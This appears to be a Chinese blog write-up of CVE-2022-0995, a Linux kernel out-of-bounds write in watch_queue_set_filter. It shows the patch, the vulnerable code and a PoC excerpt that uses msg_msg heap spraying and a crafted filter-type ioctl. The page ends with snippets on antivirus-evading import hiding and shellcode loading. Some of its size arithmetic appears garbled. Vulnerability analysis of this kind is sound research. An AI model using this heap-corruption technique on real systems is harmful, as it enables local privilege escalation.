<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CVE-2022-0995分析(內核越界 watch_queue_set_filter)

    VSole2022-04-20 16:31:40

    漏洞成因

    此漏洞與CVE-2021-22555(https://blog.csdn.net/bme314/article/details/123841867?spm=1001.2014.3001.5502)利用方式相似。

    @@ -320,7 +319,7 @@ long watch_queue_set_filter(struct pipe_inode_info *pipe,             tf[i].info_mask & WATCH_INFO_LENGTH)             goto err_filter;         /* Ignore any unknown types */-        if (tf[i].type >= sizeof(wfilter->type_filter) * 8)+        if (tf[i].type >= WATCH_TYPE__NR)             continue;         nr_filter++;     }@@ -336,7 +335,7 @@ long watch_queue_set_filter(struct pipe_inode_info *pipe,      q = wfilter->filters;     for (i = 0; i < filter.nr_filters; i++) {-        if (tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG)+        if (tf[i].type >= WATCH_TYPE__NR)             continue;          q->type            = tf[i].type;@@ -371,6 +370,7 @@ static void __put_watch_queue(struct kref *kref)      for (i = 0; i < wqueue->nr_pages; i++)         __free_page(wqueue->notes[i]);+    bitmap_free(wqueue->notes_bitmap);      wfilter = rcu_access_pointer(wqueue->filter);     if (wfilter)@@ -566,7 +566,7 @@ void watch_queue_clear(struct watch_queue *wqueue)     rcu_read_lock();     spin_lock_bh(&wqueue->lock); -    /* Prevent new additions and prevent notifications from happening */+    /* Prevent new notifications from being stored. */     wqueue->defunct = true;      while (!hlist_empty(&wqueue->watches)) {
    

    根據補丁位置,大致可以看到watch_queue_set_filter此位置很有可能是溢出點。

    for (i = 0; i < filter.nr_filters; i++) {    if ((tf[i].info_filter & ~tf[i].info_mask) ||        tf[i].info_mask & WATCH_INFO_LENGTH)        goto err_filter;    /* Ignore any unknown types */    if (tf[i].type >= sizeof(wfilter->type_filter) * 8)        continue;    nr_filter++;} /* Now we need to build the internal filter from only the relevant * user-specified filters. */ret = -ENOMEM;wfilter = kzalloc(struct_size(wfilter, filters, nr_filter), GFP_KERNEL);if (!wfilter)    goto err_filter;wfilter->nr_filters = nr_filter; q = wfilter->filters;for (i = 0; i < filter.nr_filters; i++) {    if (tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG)        continue;     q->type            = tf[i].type;    q->info_filter        = tf[i].info_filter;    q->info_mask        = tf[i].info_mask;    q->subtype_filter[0]    = tf[i].subtype_filter[0];    __set_bit(q->type, wfilter->type_filter);    q++;}
    

    查看相關代碼,分配的watch_type_filter數量nr_filter為 tf[i].type < sizeof(wfilter->type_filter) 8

    而訪問q = wfilter->filters; 則是 tf[i].type >= sizeof(wfilter->type_filter) BITS_PER_LONG。

    sizeof(wfilter->type_filter) BITS_PER_LONG > sizeof(wfilter->type_filter) 8

    所以這里因該是會造成訪問越界地址的問題。只要 sizeof(wfilter->type_filter) BITS_PER_LONG > tf[i].type > sizeof(wfilter->type_filter) 8。

    long watch_queue_set_filter(struct pipe_inode_info *pipe,                struct watch_notification_filter __user *_filter){      ...    tf = memdup_user(_filter->filters, filter.nr_filters * sizeof(*tf));...}
    

    根據poc

    do {   ntries++;    filter->nr_filters = nfilters;   for (int i = 0; i < (nfilters - 1); i++) {  // choose kmalloc-96     filter->filters[i].type = 1;   }    // Set 1 bit oob to 1, hopefully we overwrite a msg_msg.mlist.next which is not 2k aligned   filter->filters[nfilters - 1].type = 0x30a; // 0x300 -> 96 bytes oob, 0xa -> 2**10 == 1024    if (pipe2(fds, O_NOTIFICATION_PIPE) == -1) {     perror("pipe2()");     exit(1);   }    // Spray kmalloc-96   spray_msgmsg();   delete_msgmsg(MSGMSG_FREE_IDX_1, PRIMARY_SIZE, MTYPE_PRIMARY); // kmalloc   delete_msgmsg(MSGMSG_FREE_IDX_0, PRIMARY_SIZE, MTYPE_PRIMARY); // memdup    // Filter go   if (ioctl(fds[0], IOC_WATCH_QUEUE_SET_FILTER, filter) < 0) {     perror("ioctl(IOC_WATCH_QUEUE_SET_FILTER)");     goto err;   }    check_corruption();    if (corrupted_idx != -1)     break;    cleanup_msgmsg(); } while (ntries < CORRUPT_MSGMSG_TRIES);
    

    可以看到struct watch_notification_filter 是直接從用戶態傳進來的。sizeof(wfilter->type_filter) BITS_PER_LONG = 1664 = 1024, sizeof(wfilter->type_filter) 8 = 168 = 128;0x30a = 778;

    struct callback_head {    struct callback_head *next;    void (*func)(struct callback_head *head);} __attribute__((aligned(sizeof(void *))));#define rcu_head callback_head
    

    struct watch_type_filter 占 16 個字節。

    poc中nfilters=4, type=778的有占其中一個。其余type=1。

    也就是內核分配了 16 + 4 + 4 5 3 = 80 而可以訪問的范圍確實 16 + 4 + 4 5 4 = 100。

    越界的大小為 100 - 80 = 20。

    poc 里堆噴了2000*96字節的堆。釋放1950和0位置上的msg。重復50次堆噴。大致又是這樣。

    struct msg_msg {    struct list_head m_list;    long m_type;    size_t m_ts;        /* message text size */    struct msg_msgseg *next;    void *security;    /* the actual message follows immediately */}; // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/types.hstruct list_head {    struct list_head *next, *prev;}; // https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/ipc/msgutil.cstruct msg_msgseg {    struct msg_msgseg *next;    /* the next part of the message follows immediately */};
    

    msg_msg = 8*2 + 8 + 8 + 8 + 8 = 48 = 0x30。

    static struct msg_msg *alloc_msg(size_t len){    struct msg_msg *msg;    struct msg_msgseg **pseg;    size_t alen;     alen = min(len, DATALEN_MSG);  //4048    msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);    if (msg == NULL)        return NULL;     msg->next = NULL;    msg->security = NULL;     len -= alen;    pseg = &msg->next;    while (len > 0) {        struct msg_msgseg *seg;         cond_resched();         alen = min(len, DATALEN_SEG);        seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);        if (seg == NULL)            goto out_err;        *pseg = seg;        seg->next = NULL;        pseg = &seg->next;        len -= alen;    }     return msg; out_err:    free_msg(msg);    return NULL;}
    

    也就是primary_msg的next的后四個字節將會被寫成零。這樣將造成與CVE-2021-22555利用過程翻譯(https://blog.csdn.net/bme314/article/details/123841867?spm=1001.2014.3001.5501)相同的情況。

    利用方式

    這個在cve-2021-22555中有詳細的解釋,不說了。

    poc https://github.com/Bonfee/CVE-2022-0995

    sizeof
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    相關例子如下,編譯的時候需要在Debug模式:#define _CRTDBG_MAP_ALLOC. main.cpp : {163} normal block at 0x000002882AE17740, 12 bytes long.Data: < M > 07 00 00 00 4D 00 00 00 09 03 00 00. main.cpp : {162} normal block at 0x000002882AE148C0, 4 bytes long.內存的申請在C++編程語言中,內存申請對應的關鍵字是new或malloc,其實new最后調用的也是malloc函數,對應源代碼文件是debug_heap.cpp。在包含相關頭文件之后,malloc函數的調用棧為:malloc -> _malloc_dbg -> heap_alloc_dbg -> heap_alloc_dbg_internal。_CrtMemBlockHeader* _block_header_prev; // 雙向鏈表,訪問該雙向鏈表的全局變量為__acrt_first_block. size_t _data_size; // malloc分配的大
    syscall的檢測與繞過
    2023-01-05 09:43:15
    syscall的檢測與繞過
    不出意料恢復主線程執行后桌面程序會加載dll。使用IDA分析:大體不算太復雜的調用關系,但是函數較多:還有一些亂七八糟的函數比較多,主要看看大概做了哪些事情,獲取操作系統版本\名稱\系統目錄等信息。
    此漏洞與CVE-2021-22555(https://blog.csdn.net/bme314/article/details/123841867?spm=1001.2014.3001.5502)利用方式相似。
    Windows內核-句柄
    2022-04-16 16:06:49
    進程的地址空間分為系統空間和用戶空間,內核對象都保存在系統空間中,用戶空間不能通過地址作為指針來引用它們,Windows使用句柄(handle)來對內核對象進行引用。看起來很小,但是涉及的內容很多。
    逆向角度看C++部分特性
    1.CheatEngine工具的基本使用
    Kernel-Pwn-FGKASLR
    2023-07-10 10:24:04
    是KASLR的加強版,增加了更細粒度的地址隨機化
    網上關于ShellCode編寫的文章很多,但介紹如何在ShellCode里面使用異常處理的卻很少。Windows程序的異常處理,其實是三者結合的:操作系統、編譯器和程序代碼。因為x86下異常處理的文章太多,所以本文只介紹Win64下的。而Win64的異常處理,是基于表的。也就是說,編譯器在編譯代碼的時候,會同時對每個函數生成一個異常表,最后鏈接到PE的異常表里。相對來說,這個比X86更加安全和高效。
    前言在PE文件中,存在iat導入表,記錄了PE文件使用的API以及相關的dll模塊。可以看到使用了MessageBox這個API殺軟會對導入表進行查殺,如果發現存在惡意的API,比如VirtualAlloc,CreateThread等,就會認為文件是一個惡意文件。自定義API函數FARPROC GetProcAddress;定義:typedef int ();HMODULE LoadLibraryA; // 成功返回句柄 失敗返回NULL. 這里GetModuleHandle和LoadLibrary作用是一樣的,獲取dll文件。HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType );printf; pMessageBox MyMessageBox = GetProcAddress; MyMessageBox; return 0;}. 程序可以正常運行:查看其導入表:User32.dll和MessageBox都不存在。實戰測試用創建進程的方式加載shellcode。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类